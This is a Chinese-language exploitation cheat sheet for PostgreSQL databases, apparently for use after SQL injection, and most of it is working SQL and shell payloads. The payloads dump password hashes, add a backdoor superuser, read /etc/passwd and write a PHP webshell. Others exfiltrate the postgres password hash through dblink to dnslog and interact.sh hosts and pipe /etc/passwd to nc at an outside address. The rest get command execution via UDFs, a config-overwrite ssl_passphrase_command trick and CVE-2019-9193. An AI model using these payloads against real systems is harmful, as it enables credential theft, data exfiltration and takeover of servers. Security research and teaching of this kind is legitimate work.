Postgresql 数据库作为 python 应用中比较常见的数据库,其利用手段公开的不多,而且利用方式也比较单一,我搜集了国内外一些相关的利用思路进行总结,如有遗漏还请指正。

info

本文首发 跳跳糖社区 https://tttang.com/archive/1547/


信息收集

查看服务器端版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
-- 详细信息
select version();

-- 版本信息
show server_version;
select pg_read_file('PG_VERSION', 0, 200);

-- 数字版本信息包括小版号
SHOW server_version_num;
SELECT current_setting('server_version_num');

列目录

1
2
3
4
5
6
7
8
-- 注意: 在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径
select pg_ls_dir('/etc');

-- 获取 pgsql 安装目录
select setting from pg_settings where name = 'data_directory';

-- 查找 pgsql 配置文件路径
select setting from pg_settings where name='config_file'

列出数据库

1
SELECT datname FROM pg_database;

查看支持的语言

1
select * from pg_language;

查看安装的扩展

1
select * from pg_available_extensions;

查看服务器ip地址

1
2
-- 这里是运行在 docker 里的靶机,所以 ip 不一致
select inet_server_addr()


账号操作

查看当前用户是不是管理员权限

1
2
3
4
5
SELECT current_setting('is_superuser');
-- on 代表是, off 代表不是

SHOW is_superuser;
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

查询密码

1
SELECT usename, passwd FROM pg_shadow;

1
SELECT rolname,rolpassword FROM pg_authid;

可以看到,目前查询到的用户 hash 已经是 scram-sha-256,在以前的版本是加盐md5

我们可以查询当前的加密方式

1
2
-- password_encryption参数决定了密码怎么被hash
SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption';

添加用户

1
2
3
4
--创建 f0x,赋予角色属性
create user f0x password 'Abcd1234' superuser createrole createdb
--添加 f0x 到角色组
grant postgres to f0x

修改一个角色为管理员角色

1
alter role f0x createrole;

更改密码

1
ALTER USER user_name WITH PASSWORD 'new_password';

查看用户

1
2
3
4
5
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

查看管理员用户

1
SELECT usename FROM pg_user WHERE usesuper IS TRUE

获取用户角色

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
SELECT
      r.rolname,
      r.rolsuper,
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolconnlimit, r.rolvaliduntil,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;


PostgreSQL 读文件

方法1 pg_read_file

1
2
3
4
5
-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/etc/passwd');

-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$)

方法2

1
2
3
create table testf0x(t TEXT);
copy testf0x from '/etc/passwd';
select * from testf0x limit 1 offset 0;

方法3 lo_import

lo_import 允许指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的 OID。

1
2
3
4
5
6
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

-- 单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111


PostgreSQL 写文件

利用条件

  • 拥有网站路径写入权限
  • 知道网站绝对路径

方法1 COPY

COPY 命令可以用于表和文件之间交换数据,这里可以用它写 webshell

1
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

也可以 base64 一下

1
COPY (select convert_from(decode('ZmZmZmZmZmYweA==','base64'),'utf-8')) to '/tmp/success.txt';

方法2 lo_export

lo_export 采用大对象 OID 和路径,将文件写入路径。

1
2
3
4
5
6
select lo_from_bytea(12349,'ffffffff0x');
SELECT lo_export(12349, '/tmp/ffffffff0x.txt');

-- base64 的形式
select lo_from_bytea(12350,decode('ZmZmZmZmZmYweA==','base64'));
SELECT lo_export(12350, '/tmp/ffffffff0x.txt');

方法3 lo_export + pg_largeobject

1
2
3
4
5
6
-- 记下生成的lo_creat ID
select lo_creat(-1);

-- 替换 24577 为生成的lo_creat ID
INSERT INTO pg_largeobject(loid, pageno, data) values (24577, 0, decode('ZmZmZmZmZmYweA==', 'base64'));
select lo_export(24577, '/tmp/success.txt');

如果内容过多,那么首先创建一个 OID 作为写入的对象, 然后通过 0,1,2,3… 分片上传但是对象都为 12345 最后导出到 /tmp 目录下, 收尾删除 OID

写的文件每一页不能超过 2KB,所以我们要把数据分段,这里我就不拿 .so 文件为例了,就随便写个 txt 举个例子

1
2
3
4
5
6
7
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('666666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('6666', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('663078', 'hex'));
SELECT lo_export(12345, '/tmp/ffffffff0x.txt');
SELECT lo_unlink(12345);

或者还可以用 lo_put 在后面拼接进行写入

1
2
3
4
5
6
7
select lo_create(11116);
select lo_put(11116,0,'dGVzdDEyM');
select lo_put(11116,9,'zQ1Ng==');

select lo_from_bytea(11141,decode(encode(lo_get(11116),'escape'),'base64'));
select lo_export(11141,'/tmp/test.txt');
SELECT lo_unlink(11141);

结束记得清理 OID 内容

1
2
3
4
5
-- 查看创建的 lo_creat ID
select * from pg_largeobject

-- 使用 lo_unlink 进行删除
SELECT lo_unlink(12345);

PostgreSQL 创建文件夹

通过 log_directory 创建文件夹

方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景

利用条件

  • 目标已经配置了 logging_collector = on

描述

配置文件中的 log_directory 配置的目录不存在时,pgsql 启动会失败,但是如果日志服务已启动,在修改 log_directory 配置后再 reload_conf 目录会被创建

原理

logging_collector 配置是否开启日志,只能在服务开启时配置,reloadconf 无法修改,log_directory 用来配置 log 日志文件存储到哪个目录,如果 log_directory 配置到一个不存在的目录,pgsql 会创建目录。

测试

拿靶机中的 postgresql 为例,先查看配置文件的路径

1
select setting from pg_settings where name='config_file'

查看内容

1
select pg_read_file('/var/lib/postgresql/data/postgresql.conf');

将配置文件中的 log_directory 配置修改

1
2
3
4
5
6
7
log_destination = 'csvlog'
log_directory = '/tmp/f0x'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_size = 100MB
log_rotation_age = 1d
log_min_messages = INFO
logging_collector = on

转为 base64 格式

1
2
# 这里我将配置文件的内容存到了 out.txt 中
cat out.txt | base64 -w 0 > base64.txt
1
2
3
4
5
6
7
8
9
-- 将修改后的配置文件加载到largeobject中
select lo_from_bytea(10001,decode('base64的内容,这里略','base64'));

-- 通过lo_export覆盖配置文件
select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf');
SELECT lo_unlink(10001);

-- 重新加载配置文件
select pg_reload_conf();

1
2
-- 查询一下修改是否成功
select name,setting,short_desc from pg_settings where name like 'log_%';

进入靶机,可以看到 f0x 目录已经创建


PostgreSQL 带外数据

1
2
3
4
5
-- 开启 dblink 扩展
CREATE EXTENSION dblink

-- 获取当前数据库用户名称
SELECT * FROM dblink('host='||(select user)||'.djw0pg.dnslog.cn user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);

1
2
-- 查询当前密码
SELECT * FROM dblink('host='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')||'.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);

1
2
3
4
-- nc 监听
nc -lvv 4444

select dblink_connect((select 'hostaddr=x.x.x.x port=4445 user=test password=test sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));


PostgreSQL 提权

利用 UDF 命令执行

在 8.2 以前,postgresql 不验证 magic block,可以直接调用本地的 libc.so

1
2
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc xxx.xx.xx.xx');

8.2 以上版本,需要自己编译 so 文件去创建执行命令函数,可以自己编译反弹 shell 后门,也可以用 sqlmap 提供好的

可以参考 No-Github/postgresql_udf_help

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 找相应的 dev 扩展包
apt-get search postgresql-server-dev
# 安装 dev 扩展包
apt-get install postgresql-server-dev-11
# apt install postgresql-server-dev-all

# 编译好 .so 文件
git clone https://github.com/No-Github/postgresql_udf_help
cd postgresql_udf_help
gcc -Wall -I/usr/include/postgresql/11/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
strip -sx lib_postgresqludf_sys.so

# 生成分片后的 sql 语句
cat lib_postgresqludf_sys.so | xxd -ps | tr -d "\n" > 1.txt
python2 postgresql_udf_help.py 1.txt > sqlcmd.txt

PL/Python 扩展

PostgreSQL 可以支持多种存储过程语言,官方支持的除了 PL/pgSQL,还有 TCL,Perl,Python 等。

默认 PostgreSQL 不会安装 Python 的扩展,这里我手动在靶机上安装下进行复现

1
select version();

先看下版本, pg 14

搜索下有没有对应的 plpython3u 版本安装

1
apt search postgresql-plpython

有,那么直接装

1
apt install postgresql-plpython-14

安装完毕后记得注册下扩展

1
create extension plpython3u;

查看是否支持 plpython3u

1
select * from pg_language;

创建一个 UDF 来执行我们要执行的命令

1
2
3
4
5
6
CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython3u;

创建好 UDF 后,进行调用

1
select system('ls -la');

利用 session_preload_libraries 加载共享库

方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景

描述

session_preload_libraries 只允许 superuser 修改,但可以加载任意目录的库,session_preload_libraries 配置从 pg10 开始存在,低于 pg10 时,可以使用 local_preload_libraries,不过该配置只允许加载 $libdir/plugins/ 目录下的库,需要将库写入到该目录下。

当每次有新连接进来时,都会加载 session_preload_libraries 配置的共享库。

和上面的利用 UDF 命令执行一样,不过不同点在于上面一个是创建 function 加载,这个方式是通过改配置文件中的 session_preload_libraries 进行加载,这里就不复现了

利用 ssl_passphrase_command 执行命令

方法来自于 https://pulsesecurity.co.nz/articles/postgres-sqli 这篇文章的场景

利用条件

  • 需要知道 PG_VERSION 文件的位置 (不是 PG_VERSION 文件也行,pgsql限制私钥文件权限必须是0600才能够加载,pgsql目录下的所有0600权限的文件都是可以的,但覆盖后没啥影响的就 PG_VERSION 了)

描述

当配置文件中配置了 ssl_passphrase_command ,那么该配置在需要获取用于解密SSL文件密码时会调用该配置的命令。

通过上传 pem,key 到目标服务器上,读取配置文件内容,修改配置文件中的ssl配置改为我们要执行的命令,通过lo_export覆盖配置文件,最后通过 pg_reload_conf 重载配置文件时将执行命令

复现

这里以靶机上已经存在的2个密钥文件为例

1
2
/etc/ssl/certs/ssl-cert-snakeoil.pem
/etc/ssl/private/ssl-cert-snakeoil.key

通过文件读取获取私钥

1
select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key');

对私钥文件加密

1
2
3
4
5
# 密码为 12345678
openssl rsa -aes256 -in ssl-cert-snakeoil.key -out private_passphrase.key

# 输出为 base64 格式
cat private_passphrase.key | base64 -w 0 > base.txt

上传 private_passphrase.key 到目标服务器上

由于 pgsql 限制私钥文件权限必须是 0600 才能够加载,这里搜索 pgsql 目录下的所有 0600 权限的文件,发现 PG_VERSION 文件符合条件,而且覆盖也没有太大影响

PG_VERSION 与 config_file 文件同目录,上传私钥文件覆盖 PG_VERSION,可绕过权限问题。

1
2
3
4
-- 将 private_passphrase.key 覆盖 PG_VERSION 文件
select lo_from_bytea(10004,decode('base64的内容,这里略','base64'));
select lo_export(10004,'/var/lib/postgresql/data/PG_VERSION');
SELECT lo_unlink(10004);

在靶机中查看验证是否写入成功

读取配置文件内容

1
2
select setting from pg_settings where name='config_file'
select pg_read_file('/var/lib/postgresql/data/postgresql.conf');

在原始配置文件内容末尾追加上ssl配置

1
2
3
4
5
ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/var/lib/postgresql/data/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "touch /tmp/success & echo 12345678; exit 0"'

转为 base64 格式

1
2
# 这里我将配置文件的内容存到了 out.txt 中
cat out.txt | base64 -w 0 > base3.txt
1
2
3
4
5
6
7
8
9
-- 将修改后的配置文件加载到largeobject中
select lo_from_bytea(10001,decode('base64的内容,这里略','base64'));

-- 通过lo_export覆盖配置文件
select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf');
SELECT lo_unlink(10001);

-- 重新加载配置文件
select pg_reload_conf();

可以看到,重新加载配置文件后,ssl_passphrase_command 中的命令已经执行

CVE-2018-1058 PostgreSQL 提权漏洞

PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

详细复现可以参考 vulhub 靶场中的 writeup

CVE-2019-9193 PostgreSQL 高权限命令执行漏洞

描述

PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

利用条件

  • 版本9.3-11.2
  • 超级用户或者pg_read_server_files组中的任何用户

相关文章

POC | Payload | exp

1
2
3
4
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;


参考